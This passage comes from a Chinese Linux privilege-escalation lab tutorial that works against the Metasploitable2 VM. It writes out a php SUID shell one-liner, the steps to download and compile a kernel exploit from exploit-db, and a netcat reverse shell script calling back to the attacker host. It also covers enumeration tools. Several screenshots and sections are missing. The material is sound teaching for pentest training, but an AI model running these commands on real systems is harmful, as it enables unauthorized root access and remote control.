找到了/var/bin/php可执行文件,该文件是可以用来 SUID 提权的,方法如下:

/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

图片描述

如上图所示,我们成功提权到 root 权限。

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

大家思考一下:为什么 alice 用户能够查找到具有 s 权限的 php 可执行文件,而 www-data 用户找不到呢?

其实答案就是目录权限的区别,让我们查看一下 /var/bin 目录权限:

ls -lh /var

图片描述

可以看到,/var/bin目录的所有者和所有组均为 alice,其他用户并没有读/写/执行权限。

所以当我们提权到其他用户时,有时就能解锁一些之前无法访问的文件或目录,而这恰好就可能被利用来进行提权。

九. 内核漏洞提权

在学习内核漏洞提权之前,需要给大家强调一个关键点:

Linux 内核漏洞可能会造成 Linux 系统崩溃、宕机,因此请优先尝试前面几章中讲解的提权方法,仅当前几种方法都无法成功提权时,才考虑使用内核漏洞来提权。

1.什么是 Linux 内核

Linux 内核是 Linux 操作系统的主要组成部分,是计算机硬件与其进程之间的核心接口。它在两者之间进行交流,尽可能有效地管理资源。

内核之所以如此命名,是因为它就像硬壳里的一颗种子,存在于操作系统中,控制着硬件的所有主要功能,无论是手机、笔记本电脑、服务器还是其他任何类型的计算机。

2.什么是 Linux 内核漏洞

Linux 内核是 Github 上的一个开源项目,拥有近百万次 commit,开发人员超过 5000 人,其中包括来自微软、谷歌、英特尔和红帽等科技巨头的人才。

既然开发人员如此之多,代码修改如此频繁,必然会有各种各样的 Linux 内核漏洞出现。多年来,Linux 内核已经成为了积累漏洞最多的开源项目之一。

Linux 内核漏洞提权,就是通过利用 Linux 内核漏洞来执行具有高权限的任意代码,从而达到提权的目的。

使用内核漏洞提权一般包含以下三个步骤:

  1. 收集信息:确认目标主机 Linux 发行版本号、内核版本号
  2. 查找漏洞:根据发行版本号和内核版本号搜索可利用的内核漏洞
  3. 执行攻击:下载漏洞利用 EXP、编译 exp、执行 exp

下面我们通过一个实验,来给大家详细的讲解这三个步骤的具体方法。

本章实验我们需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:

sudo virsh start Metasploitable2

图片描述

Metasploitable2 靶机的信息如下:

Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通192.168.122.102为止:

图片描述

使用 ssh 连接到靶机,密码是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

图片描述

如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。

接下里我们将演示,从收集主机信息,到查找内核漏洞,再到下载、编译、利用漏洞 exp 提权到 root 权限的全过程。

3.收集信息

一般需要关注 Linux 的发行版本、内核版本,分别使用以下两个命令进行查询:

图片描述

可以知道靶机运行的是 Ubuntu 发行版本,版本号为 8.04。

某些发行版本的 Linux 不支持 lsb_release 命令,可以使用 uname -sn来查询。

uname -r 是用来查询 Linux 内核版本,注意和发行版本作区分。

图片描述

从上图可知,靶机的内核版本为2.6.24

4.查找漏洞

我们已经知道了靶机的发行版本和内核版本,接下来需要使用这两个数据去查询可能存在的内核漏洞。查询方法常用的有如下几种:

[Exploit-db.com](http://exploit-db.com)searchsploit都是同一个数据库,我们这里演示[Exploit-db.com](http://exploit-db.com)的查询方法。

打开网址:https://www.exploit-db.com/,选择左上角的 EXPLOITS

图片描述

先在右上角的 Search 输入关键词,因为是内核漏洞提权,所以先输入 privilegekernel

然后再键入内核版本 2.6 (一般先搜索大版本即可,搜索小版本可能导致搜索结果有遗漏)和 Linux 发行版本 ubuntu。最后的搜索关键字组合是:

privilege kernel 2.6 ubuntu

然后点击右上角的Filter,在高级搜索中,Type 选择 local、Platform 选择 Linux

图片描述

如上图所示,共得到 10 条结果,一般我们先尝试经过验证的 exp —— 即左边有绿色小勾的。

如果是 searchsploit命令行工具,使用如下命令可以查询到相同的结果,你可以在 Kali Linux 中尝试一下:

searchsploit privilege|grep -i linux|grep -i kernel|grep -i 2.6|grep -i ubuntu

5.执行攻击

注意:并不是每一条漏洞都可以提权成功的,通常情况下,我们会逐一尝试利用。

这里为了节约大家时间,我们直接选取一条可以提权成功的来做演示:

图片描述

接下来需要下载 exp,因为大多数情况下靶机是没有连接外网的权限的,所以都是下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。

右键下载按钮,复制下载链接地址:

图片描述

在靶机上使用 wget 工具下载并存储到 /tmp/exploit.c,命令如下(主机是在 shiyanlou用户 终端,不要在 Metasploitable2 的 ssh 终端中下载):

wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c

图片描述

接下来进入/tmp目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:

cd /tmp
python3 -m http.server 8000

图片描述

使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1

图片描述

在 Metasploitable2 终端中使用 wget 工具下载 exploit.c 并保存到/tmp:

wget 192.168.122.1:8000/exploit.c -P /tmp

图片描述

接下来就需要编译 exploit.c,需要使用到 gcc 工具,命令如下:

gcc exploit.c -o exploit

/tmp 目录下会生成一个名为 exploit 的可执行文件:

图片描述

尝试执行./exploit,弹出如下提示:

图片描述

说明我们需要回去看一下 exp 的使用方法:

图片描述

阅读以上说明,使用方法如下:

  1. 执行./exploit PID 需要指定/proc/net/netlink 进程的 PID 号
  2. 执行成功后,会自动以 root 权限执行/tmp/run脚本,脚本内容需要我们自己创建,payload 我们可以任意发挥。

按照以上说明,先查看/proc/net/netlink进程 ID:

cat /proc/net/netlink

图片描述

获取到 pid 为 2410,接下来我们创建 /tmp/run shell 脚本:

echo '#!/bin/bash' >> /tmp/run
echo 'nc 192.168.122.1 4444 -e /bin/bash' >> /tmp/run
chmod +x /tmp/run

图片描述

/tmp/run脚本的内容如下:

#!/bin/bash
nc 192.168.122.1 4444 -e /bin/bash

这样,当该脚本被执行时,就会向 192.168.122.1 的 4444 端口反弹 shell,所以我们现在本地主机上使用 nc 监听 4444 端口:

nc -lnvp 4444

图片描述

一切准备就绪,在靶机上执行如下命令:

./exploit 2410

图片描述

如上图所示,成功反弹回 shell。

十. 暴力破解提权

十一. 自动化提权工具

Github 上有很多相关的开源项目,在本章节实验中我会推荐两个比较有代表性的:

和内核漏洞提权那章相同,本章实验我们也需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:

sudo virsh start Metasploitable2

图片描述

Metasploitable2 靶机的信息如下:

Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通192.168.122.102为止:

图片描述

使用 ssh 连接到靶机,密码是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

图片描述

如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。

LinEnum 工具

LinEnum 介绍

LinEnum 是一个 Linux 主机本地信息枚举的 shell 脚本,它有超过 65 项安全检查功能,比如查询版本信息、内核信息、SUID/GUID 文件、文件权限、sudo 权限等,其执行的检查项摘要如下:

更为详细的检查项说明,可以查阅项目的[README.md](https://github.com/rebootuser/LinEnum)文档。

项目地址
https://github.com/rebootuser/LinEnum
使用方法

因为大多数情况下靶机是没有连接外网的权限的,所以都是先下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。

在云主机上使用 wget 工具下载并存储到 /tmp/exploit.c,命令如下(不要在 Metasploitable2 的 ssh 终端中下载,会报 SSL 错误):

# 如果遇到拒绝连接错误,多尝试几次即可
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

图片描述

接下来进入/tmp目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:

cd /tmp
python3 -m http.server 8000

图片描述

使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1

图片描述

在 Metasploitable2 终端中使用 wget 工具下载 LinEnum.sh并保存到/tmp:

wget 192.168.122.1:8000/LinEnum.sh -P /tmp

图片描述

赋予LinEnum.sh执行权限:

chmod +x LinEnum.sh

接下来就可以执行LinEnum.sh进行检查,由于LinEnum.sh执行速度非常快,所以可以搭配 more 命令便于阅读,使用空格进行翻页:

./LinEnum.sh |more

图片描述

图片描述

自动快速收集系统信息,便于我们阅读分析,重点关注黄色字体的信息。

图片描述

图片描述

如上图所示,发现 MySQL 的 root 用户无需密码即可登录,测试一下发现登陆成功:

图片描述

图片描述

图片描述

尝试利用 nmap 提权,并且提权成功:

图片描述

图片描述

有没有觉得很方便?合理的利用 LinEnum.sh脚本,可以为我们节约大量的时间。

linux-exploit-suggester 工具

linux-exploit-suggester 介绍

linux-exploit-suggester 是一款根据系统发行版本号和内核版本号自动查找相应内核提权漏洞的工具。

LinEnum 功能已经非常强大,但它缺少对内核漏洞的检查,而linux-exploit-suggester刚好能弥补这一点。

项目地址
https://github.com/mzet-/linux-exploit-suggester
使用方法

和之前一样,下载linux-exploit-suggester.sh 到云主机:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh

并上传到靶机Metasploitable2:

wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp

图片描述

添加执行权限并执行脚本:

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

不幸的是,提示 bash 版本过低不支持运行该脚本:

图片描述

大多数时候是可以直接运行的,但是如果偶尔遇到这种情况,可以采用手动录入内核信息的方式。

在 Metasploitable2 上运行uname -a查询主机信息,并将输出结果复制下来:

图片描述

然后回到云主机上运行./linux-exploit-suggester.sh脚本:

./linux-exploit-suggester.sh -u "Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux"

图片描述

下图是我们得到的分析结果:

图片描述

每一条漏洞都包含 Exposure (影响概率)和 Download URL( EXP 下载链接),其中 Exposure 分级如下:

一般只用尝试Highly probablerobable定级的EXP即可。

但需要注意的是,linux-exploit-suggester 的结果并不一定非常准确,如果结果中的 CVE 均无法利用,你仍然需要手动去 [Exploit-db.com](http://exploit-db.com) 搜索内核漏洞再来尝试。

在本节实验中,我们学习了 LinEnum 和 linux-exploit-suggester 提权辅助脚本工具的使用方法,其实辅助工具还有很多,例如以下两个:

豫ICP备20003564号-1 / shng